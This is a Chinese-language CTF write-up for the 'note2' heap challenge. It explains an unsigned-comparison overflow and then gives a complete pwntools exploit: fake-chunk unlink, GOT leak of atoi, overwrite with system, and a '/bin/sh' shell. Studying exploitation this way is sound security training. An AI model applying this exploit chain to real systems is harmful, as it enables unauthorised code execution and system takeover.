分析程序
功能
首先,我们先分析一下程序,可以看出程序的主要功能为
- 添加 note,size 限制为 0x80,size 会被记录,note 指针会被记录。
- 展示 note 内容。
- 编辑 note 内容,其中包括覆盖已有的 note,在已有的 note 后面添加内容。
- 释放 note。
漏洞
- 在添加 note 时,程序会记录 note 对应的大小,该大小会用于控制读取 note 的内容,但是读取的循环变量 i 是无符号变量,所以比较时都会转换为无符号变量,那么当我们输入 size 为 0 时,glibc 根据其规定,会分配 0x20 个字节,但是程序读取的内容却并不受到限制,故而会产生堆溢出。
- 程序在每次编辑 note 时,都会申请 0xa0 大小的内存,但是在 free 之后并没有设置为 NULL。
第二个漏洞是否可shell,等我堆学完了再补充
主要分析第一个漏洞
unsigned __int64 __fastcall ReadLenChar(__int64 a1, __int64 a2, char a3)
{
char v4; // [sp+Ch] [bp-34h]@1
char buf; // [sp+2Fh] [bp-11h]@2
unsigned __int64 i; // [sp+30h] [bp-10h]@1
__int64 v7; // [sp+38h] [bp-8h]@2
v4 = a3;
for ( i = 0LL; a2 - 1 > i; ++i )
{
v7 = read(0, &buf, 1uLL);
if ( v7 <= 0 )
exit(-1);
if ( buf == v4 )
break;
*(_BYTE *)(i + a1) = buf;
}
*(_BYTE *)(a1 + i) = 0;
return i;
}
其中 i 是 unsigned 类型,a2 为 int 类型,所以两者在 for 循环相比较的时候,a2-1 的结果 - 1 会被视为 unsigned 类型,此时,即最大的整数。所以说可以读取任意长度的数据,这里也就是后面我们溢出所使用的办法。
具体实现
构造如下堆结构
+-----------------+ high addr
| ... |
+-----------------+
| 'b'*8 |
ptr[2]-----------> +-----------------+
| size=0x91 |
+-----------------+
| prevsize |
+-----------------|------------
| unused |
+-----------------+
| 'a'*8 |
ptr[1]----------> +-----------------+ chunk 1
| size=0x20 |
+-----------------+
| prevsize |
+-----------------|-------------
| unused |
+-----------------+
| prev_size=0x60 |
fake ptr[0] chunk's nextchunk----->+-----------------+
| 64*'a' |
+-----------------+
| fakebk |
+-----------------+
| fakefd |
+-----------------+
| 0x61 | chunk 0
+-----------------+
| 'a *8 |
ptr[0]----------> +-----------------+
| size=0x91 |
+-----------------+
| prev_size |
+-----------------+ low addr
图1
释放 chunk1 - 覆盖 chunk2 - 释放 chunk2
# edit the chunk1 to overwrite the chunk2
deletenote(1)
content = 'a' * 16 + p64(0xa0) + p64(0x90)
newnote(0, content)
# delete note 2 to trigger the unlink
# after unlink, ptr[0] = ptr - 0x18
deletenote(2)
执行之后
+-----------------+high addr
| ... |
+-----------------+
| '\x00'+'b'*7 |
ptr[2]-----------> +-----------------+ chunk 2
| size=0x90 |
+-----------------+
| 0xa0 |
+-----------------|------------
| 'a'*8 |
+-----------------+
| 'a'*8 |
ptr[1]----------> +-----------------+ chunk 1
| size=0x20 |
+-----------------+
| prevsize |
+-----------------|-------------
| unused |
+-----------------+
| prev_size=0x60 |
fake ptr[0] chunk's nextchunk----->+-----------------+
| 64*'a' |
+-----------------+
| fakebk |
+-----------------+
| fakefd |
+-----------------+
| 0x61 | chunk 0
+-----------------+
| 'a *8 |
ptr[0]----------> +-----------------+
| size=0x91 |
+-----------------+
| prev_size |
+-----------------+ low addr
图2
unlink之后就,就随便了
补充:ctf-wiki上要求处理chunksize(P) != prev_size (next_chunk(P)
,事实上只需修改chunk0的fakesize为0xa1即可
from pwn import *
p = process('./note2')
note2 = ELF('./note2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#ontext.log_level = 'debug'
def newnote(length, content):
p.recvuntil('option--->>')
p.sendline('1')
p.recvuntil('(less than 128)')
p.sendline(str(length))
p.recvuntil('content:')
p.sendline(content)
def shownote(id):
p.recvuntil('option--->>')
p.sendline('2')
p.recvuntil('note:')
p.sendline(str(id))
def editnote(id, choice, s):
p.recvuntil('option--->>')
p.sendline('3')
p.recvuntil('note:')
p.sendline(str(id))
p.recvuntil('2.append]')
p.sendline(str(choice))
p.sendline(s)
def deletenote(id):
p.recvuntil('option--->>')
p.sendline('4')
p.recvuntil('note:')
p.sendline(str(id))
p.sendline('123')
p.sendline('123')
# chunk0: a fake chunk
ptr = 0x0000000000602120
fakefd = ptr - 0x18
fakebk = ptr - 0x10
content = 'a' * 8 + p64(0xA1) + p64(fakefd) + p64(fakebk) + 'b' * 64 #+ p64(0x60)
#content = p64(fakefd) + p64(fakebk)
newnote(128, content)
# chunk1: a zero size chunk produce overwrite
newnote(0, 'a' * 8)
# chunk2: a chunk to be overwrited and freed
newnote(0x80, 'b' * 16)
# edit the chunk1 to overwrite the chunk2
deletenote(1)
content = 'a' * 16 + p64(0xa0) + p64(0x90)
newnote(0, content)
# delete note 2 to trigger the unlink
# after unlink, ptr[0] = ptr - 0x18
deletenote(2)
# overwrite the chunk0(which is ptr[0]) with got atoi
atoi_got = note2.got['atoi']
content = 'a' * 0x18 + p64(atoi_got)
editnote(0, 1, content)
# get the aoti addr
shownote(0)
p.recvuntil('is ')
atoi_addr = p.recvuntil('\n', drop=True)
#print atoi_addr
atoi_addr = u64(atoi_addr.ljust(8, '\x00'))
print 'leak atoi addr: ' + hex(atoi_addr)
# get system addr
atoi_offest = libc.symbols['atoi']
libcbase = atoi_addr - atoi_offest
system_offest = libc.symbols['system']
system_addr = libcbase + system_offest
print 'leak system addr: ', hex(system_addr)
# overwrite the atoi got with systemaddr
content = p64(system_addr)
editnote(0, 1, content)
# get shell
p.recvuntil('option--->>')
p.sendline('/bin/sh')
p.interactive()